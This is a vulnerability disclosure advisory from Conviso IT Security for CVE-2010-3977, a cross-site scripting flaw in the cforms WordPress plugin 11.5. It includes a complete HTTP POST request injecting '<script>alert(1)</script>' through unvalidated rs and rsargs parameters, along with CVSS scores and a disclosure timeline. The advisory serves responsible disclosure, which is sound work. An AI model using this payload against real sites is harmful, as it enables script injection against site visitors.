security advisory: cform wordpress plugin v 11
DESCRIPTION
According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page."This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions maybe also affected.TRANSCRIPT
Security Advisory | CVE-2010-3977
cform Wordpress Plugin V 11.5
Curitiba | Brasilia | São Paulo
HeadquartersRua Marechal Hermes 678 CJ 32CEP 80530-230, Curitiba, PRT (41) 3095.5736 | (41) 3095.3986
http://www.conviso.com.br
Contents
..............................................................................................................................Introduction 2
.....................................................................................................................Security Advisory 3
...................................................................................................CVSS Issue Severity Scores 5
.............................................................................................................................Issue History 6
Conviso IT Security
Security Advisory | CVE-2010-3977 | cform Wordpress Plugin V 11.5! 1
Introduction
1. Copyright and DisclaimerThe information in this advisory is Copyright 2010 Conviso IT Security and provided so that the society
can understand the risk they may be facing by running affected software, hardware or other
components used on their systems. In case you wish to copy information from this advisory, you must
either copy all of it or refer to this document (including our URL). No guarantee is provided for the
accuracy of this information, or damage you may cause your systems in testing.
2. About Conviso IT Security
Founded on 2008 by a team of professionals working the IT Security market since 1997, Conviso IT
Security is a consulting company specialized on network and application security services. Our values
are based on the allocation of the adequate competencies on the field, a clear and direct speech with
the market, collaboration and partnership with our customers and business partners and constant
investments on methodology and research improvement.
This advisory has been discovered as part of a general investigation into the security of software used
in the IT environments of our customers. For more information about our company and services
provided, please check our website at www.conviso.com.br.
3. The Security ResearchConviso IT Security maintains a virtual team dedicated to explore our customer’s environments in order
to identify technical vulnerabilities in software and hardware, developing real-world mitigation solutions
and processes to maintain more secure environments. Leaded by Wagner Elias, our R&D Manager,
this team is named Conviso Security Labs and also contribute to important world-class organizations
projects and organizations.
The vulnerability described in this security advisory was discovered by Wagner Elias on July 24th 2010
during a penetration test project.
Conviso IT Security
Security Advisory | CVE-2010-3977 | cform Wordpress Plugin V 11.5! 2
Security Advisory
1. Issue DescriptionCreated and distributed by Delicious Days (http://www.deliciousdays.com/), cforms is a rich form
plugin for WordPress, offering deployment of multiple Ajax driven contact forms throughout user’s blog
or even on the same page. An issue on version 11.5 allows the exploit of a Cross Site Scripting (XSS)
vulnerability and the consequent capability of client-side attacks for data leaking and malware
propagation.
2. Affected Components
File lib_ajax.php on version 11.5.
3. DetailsThe file lib_ajax.php on version 11.5 creates a data array with all values inserted on the form’s fields on
a POST requisition. As there is no data validation of the rs and rsargs parameters, it is possible to
inject malformed data by Javascript.
Request:http://www.siteexample.com/wp-content/plugins/cforms/lib_ajax.php
POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1Host: www.siteexample.comUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 115Connection: keep-aliveContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 219Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do%26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce%26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765; c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t e ; comment_author_email_93f41ba0b16f34676f802058e82388f6=welias%40conviso.com.brPragma: no-cacheCache-Control: no-cache
rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#$<script>alert(1)</script>$#[email protected]$#$http://www.conviso.com.br$#$<script>alert(1)</script>
4. Issue MitigationUpdate to version 11.6.1.
Conviso IT Security
Security Advisory | CVE-2010-3977 | cform Wordpress Plugin V 11.5! 3
5. Additional InformationThe Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2010-3977 to
this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
Conviso IT Security
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CVSS Issue Severity Scores
Conviso IT Security calculated the scores of this vulnerability using the online CVSS calculator found at
http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx and described at http://
www.first.org/cvss/cvss-guide.pdf.
Criteria Description Value
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Base Metrics
Value: 5.7
Temporal Metrics
Value: 4.5
Temporal Metrics
Value: 4.5
Temporal Metrics
Value: 4.5
Environmental Metrics
Value: 0
Environmental Metrics
Value: 0
Access Vector Remote
Access Complexity Low
Authentication Not Required
Confidentiality Impact Partial
Integrity Impact Complete
Availability Impact None
Impact BIAS Normal
Exploitability Functional
Remediation Level Official Fix
Report Confidence Uncorroborated
Collateral Damage Potential None
Target Distribution None
Conviso IT Security
Security Advisory | CVE-2010-3977 | cform Wordpress Plugin V 11.5! 5
Issue History
Date Comments
07/24/10 Issue reported to Delicious Day
07/24/10 Issue accepted by Delicious Day
09/22/10 Version 11.6.1 available with the correspondent fix
10/19/10 Issue published
Conviso IT Security
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